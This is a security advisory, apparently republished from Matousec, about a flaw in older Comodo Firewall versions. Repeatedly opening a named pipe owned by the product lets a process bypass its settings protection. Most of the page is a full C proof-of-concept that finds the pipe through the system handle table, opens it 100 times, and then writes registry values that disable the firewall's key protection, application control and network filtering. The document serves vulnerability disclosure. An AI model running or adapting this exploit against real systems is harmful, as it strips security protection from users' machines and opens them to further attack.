|
Brought to you by:
Suppliers of:
|
|
|
| |
| A vulnerability in Comodo Firewall allows a specially crafted request sent to a pipe used by the product to be used to bypass the protection mechanism of the product. |
| |
Credit:
The information has been provided by Matousec - Transparent security Research.
The original article can be found at: http://www.matousec.com/info/advisories/Comodo-Bypassing-settings-protection-using-magic-pipe.php
|
| |
Vulnerable software:
* Comodo Firewall Pro version 2.4.18.184
* Comodo Firewall Pro version 2.4.17.183
* Comodo Firewall Pro version 2.4.16.174
* Comodo Personal Firewall version 2.3.6.81
probably all older versions of Comodo Personal Firewall 2
possibly older versions of Comodo Personal Firewall
Comodo Firewall Pro (former Comodo Personal Firewall) stores some of its internal settings in the registry key
HKLM\SYSTEM\Software\Comodo\Personal Firewall. This key is protected by Comodo drivers such that other applications are not able to change the settings. This protection can be bypassed if very special conditions are met. CFP internally uses
a named pipe, which name varies, but can be always determined. A process that opens this pipe many times is able to manipulate the protected settings of CFP. A proper modification of the settings will disable all protection mechanisms
implemented by CFP after a reboot.
Exploit:
/*
Testing program for Bypassing settings protection using magic pipe (BTP00001P005CF)
Usage:
prog
(the program is executed without special arguments)
Description:
This program finds a specific named pipe that belongs to CPF and opens
and closes it many times. This weird behaviour allows this program to modify protected
settings of CPF that are stored in the registry key "HKLM\SYSTEM\Software\Comodo".
Test:
Running the testing program and restarting the system.
*/
#undef __STRICT_ANSI__
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <tlhelp32.h>
#include <ddk/ntapi.h>
#include <ddk/ntifs.h>
void about(void)
{
printf("Testing program for Bypassing settings protection using magic pipe (BTP00001P005CF)\n");
printf("Windows Personal Firewall Analysis project\n");
printf("Copyright 2007 by Matousec - Transparent security\n");
printf("http://www.matousec.com/""\n\n");
return;
}
void usage(void)
{
printf("Usage: test\n"
" (the program is executed without special arguments)\n");
return;
}
void print_last_error(void)
{
LPTSTR buf;
DWORD code=GetLastError();
if (FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,NULL,code,0,(LPTSTR)&buf,0,NULL))
{
fprintf(stderr,"Error code: %ld\n",code);
fprintf(stderr,"Error message: %s",buf);
LocalFree(buf);
} else fprintf(stderr,"Unable to format error message for code %ld.\n",code);
return;
}
/*
this function returns pointer to a copy of the system table of the given class
the memory for a copy is newly allocated and must be freed
if the function failes the return value is NULL
*/
PVOID get_info_table(DWORD class)
{
PVOID info;
DWORD info_size=0x1000;
for (;;)
{
info_size=2*info_size;
info=malloc(info_size);
if (!info) break;
NTSTATUS ret=ZwQuerySystemInformation(class,info,info_size,NULL);
if (NT_SUCCESS(ret)) break;
free(info);
info=NULL;
if (ret!=STATUS_INFO_LENGTH_MISMATCH) break;
}
return info;
}
typedef struct _SYSTEM_HANDLE_INFORMATION_BUFFER
{
DWORD HandleCount;
SYSTEM_HANDLE_INFORMATION HandleInfo[0];
} SYSTEM_HANDLE_INFORMATION_BUFFER,*PSYSTEM_HANDLE_INFORMATION_BUFFER;
/*
this function returns pointer to a copy of the system handle table
if the function failed the return value is NULL
otherwise the caller must free the memory
*/
PSYSTEM_HANDLE_INFORMATION_BUFFER get_handle_table(void)
{
return get_info_table(SystemHandleInformation);
}
/*
set registry DWORD value changes registry value of under key\subkey
returns FALSE if fails, TRUE otherwise
*/
int set_reg_dw_value(HKEY key,char *subkey,char *vname,DWORD value)
{
int res=FALSE;
HKEY hkey;
LONG ret=RegCreateKeyEx(key,subkey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_SET_VALUE,NULL,&hkey,NULL);
if (ret==ERROR_SUCCESS)
{
ret=RegSetValueEx(hkey,vname,0,REG_DWORD,(BYTE*)&value,sizeof(value));
if (ret==ERROR_SUCCESS)
{
printf("Registry value \"%s\" was modified in \"%s\".\n",vname,subkey);
res=TRUE;
} else fprintf(stderr,"Unable to change registry value \"%s\" in \"%s\".\n",vname,subkey);
RegCloseKey(hkey);
} else fprintf(stderr,"Unable to open registry key \"%s\".\n",subkey);
if (!res)
{
SetLastError(ret);
print_last_error();
}
return res;
}
/*
enable_privilege adds privilege to own token
returns TRUE if succeed
*/
int enable_privilege(char *priv_name)
{
DWORD res=0;
HANDLE tok;
LUID luid;
TOKEN_PRIVILEGES privs;
if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&tok)) return 0;
if (LookupPrivilegeValue(NULL,priv_name,&luid))
{
privs.PrivilegeCount=1;
privs.Privileges[0].Luid=luid;
privs.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
DWORD ret_len;
res=AdjustTokenPrivileges(tok,0,&privs,sizeof(TOKEN_PRIVILEGES),NULL,&ret_len);
CloseHandle(tok);
}
return res;
}
/*
enable_debug_privilege adds debug privilege to own token
returns TRUE if succeed
*/
int enable_debug_privilege(void)
{
return enable_privilege(SE_DEBUG_NAME);
}
int main(int argc,char **argv)
{
about();
if (argc!=1)
{
usage();
return 1;
}
PSYSTEM_HANDLE_INFORMATION_BUFFER handle_table=get_handle_table();
if (!handle_table)
{
fprintf(stderr,"Unable to obtain the system handle table.\n");
printf("\nTEST FAILED!\n");
return 1;
}
HANDLE syspr=NULL;
DWORD syspid=0;
HANDLE shot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if (shot==INVALID_HANDLE_VALUE)
{
fprintf(stderr,"Unable to create toolhelp snapshot.\n");
print_last_error();
fprintf(stderr,"\n");
printf("\nTEST FAILED!\n");
return 1;
}
PROCESSENTRY32 pe;
pe.dwSize=sizeof(pe);
if (!Process32First(shot,&pe))
{
CloseHandle(shot);
fprintf(stderr,"Unable to enumerate processes.\n");
print_last_error();
fprintf(stderr,"\n");
printf("\nTEST FAILED!\n");
return 1;
}
enable_debug_privilege();
do
{
if (stricmp(pe.szExeFile,"System")) continue;
syspid=pe.th32ProcessID;
printf("System process found, PID = %ld.\n",syspid);
syspr=OpenProcess(PROCESS_DUP_HANDLE,FALSE,pe.th32ProcessID);
break;
} while (Process32Next(shot,&pe));
CloseHandle(shot);
if (!syspr)
{
fprintf(stderr,"Unable to find or open system process.\n");
print_last_error();
fprintf(stderr,"\n");
printf("\nTEST FAILED!\n");
return 1;
}
int pipefound=FALSE;
char pipename[128]="";
for (int i=0;i<handle_table->HandleCount;i++)
{
PSYSTEM_HANDLE_INFORMATION handle=&handle_table->HandleInfo[i];
if (handle->ProcessId==syspid)
{
HANDLE dup_handle;
HANDLE org_handle=(HANDLE)(LONG)handle->Handle;
if (DuplicateHandle(syspr,org_handle,GetCurrentProcess(),&dup_handle,0,FALSE,DUPLICATE_SAME_ACCESS))
{
char buffer[2048];
POBJECT_NAME_INFORMATION info=(PVOID)buffer;
NTSTATUS status=ZwQueryObject(dup_handle,ObjectNameInformation,buffer,sizeof(buffer),NULL);
if (NT_SUCCESS(status))
{
char name[512];
memset(name,0,sizeof(name));
PUNICODE_STRING uni_name=&info->Name;
ANSI_STRING ansi_name={0,512,name};
RtlUnicodeStringToAnsiString(&ansi_name,uni_name,FALSE);
char *pat="\\Device\\NamedPipe\\OLE";
if (!strnicmp(name,pat,strlen(pat)))
{
strncpy(pipename,name,128);
pipename[127]='\0';
pipefound=TRUE;
printf("Pipe found! Pipe name = \"%s\".\n",name);
}
}
}
}
}
CloseHandle(syspr);
free(handle_table);
if (!pipefound)
{
fprintf(stderr,"Unable to find magic pipe.\n");
printf("\nTEST FAILED!\n");
return 1;
}
printf("\n");
char *name=pipename;
ANSI_STRING ansiname;
UNICODE_STRING uniname;
RtlInitAnsiString(&ansiname,name);
if (NT_SUCCESS(RtlAnsiStringToUnicodeString(&uniname,&ansiname,TRUE)))
{
OBJECT_ATTRIBUTES oa;
InitializeObjectAttributes(&oa,&uniname,OBJ_CASE_INSENSITIVE,0,NULL);
for (int i=0;i<100;i++)
{
HANDLE file=NULL;
IO_STATUS_BLOCK iosb;
NTSTATUS status=ZwOpenFile(&file,FILE_READ_ACCESS,&oa,&iosb,FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,0);
if (NT_SUCCESS(status)) ZwClose(file);
}
RtlFreeUnicodeString(&uniname);
}
if (set_reg_dw_value(HKEY_LOCAL_MACHINE, "SYSTEM\\Software\\Comodo\\Personal Firewall","SecurityLevel",2)
&& set_reg_dw_value(HKEY_LOCAL_MACHINE, "SYSTEM\\Software\\Comodo\\Personal Firewall","ProtectKeys",0)
&& set_reg_dw_value(HKEY_LOCAL_MACHINE, "SYSTEM\\Software\\Comodo\\Personal Firewall\\AppCtrl","Operating",2)
&& set_reg_dw_value(HKEY_LOCAL_MACHINE, "SYSTEM\\Software\\Comodo\\Personal Firewall\\AppCtrl","OperationMode",2)
&& set_reg_dw_value(HKEY_LOCAL_MACHINE,"SYSTEM\\Software\\Comodo\\Personal Firewall\\AppCtrl","TcpIn",0)
&& set_reg_dw_value(HKEY_LOCAL_MACHINE, "SYSTEM\\Software\\Comodo\\Personal Firewall\\AppCtrl","TcpOut",0)
&& set_reg_dw_value(HKEY_LOCAL_MACHINE, "SYSTEM\\Software\\Comodo\\Personal Firewall\\AppCtrl","UdpIn",0)
&& set_reg_dw_value(HKEY_LOCAL_MACHINE, "SYSTEM\\Software\\Comodo\\Personal Firewall\\AppCtrl","UdpOut",0)
&& set_reg_dw_value(HKEY_LOCAL_MACHINE, "SYSTEM\\Software\\Comodo\\Personal Firewall\\NetCtrl","Mode",2))
{
printf("\nTEST SUCCESSFUL!\n");
return 0;
}
printf("\nTEST FAILED!\n");
return 1;
}
|
|
|
|
|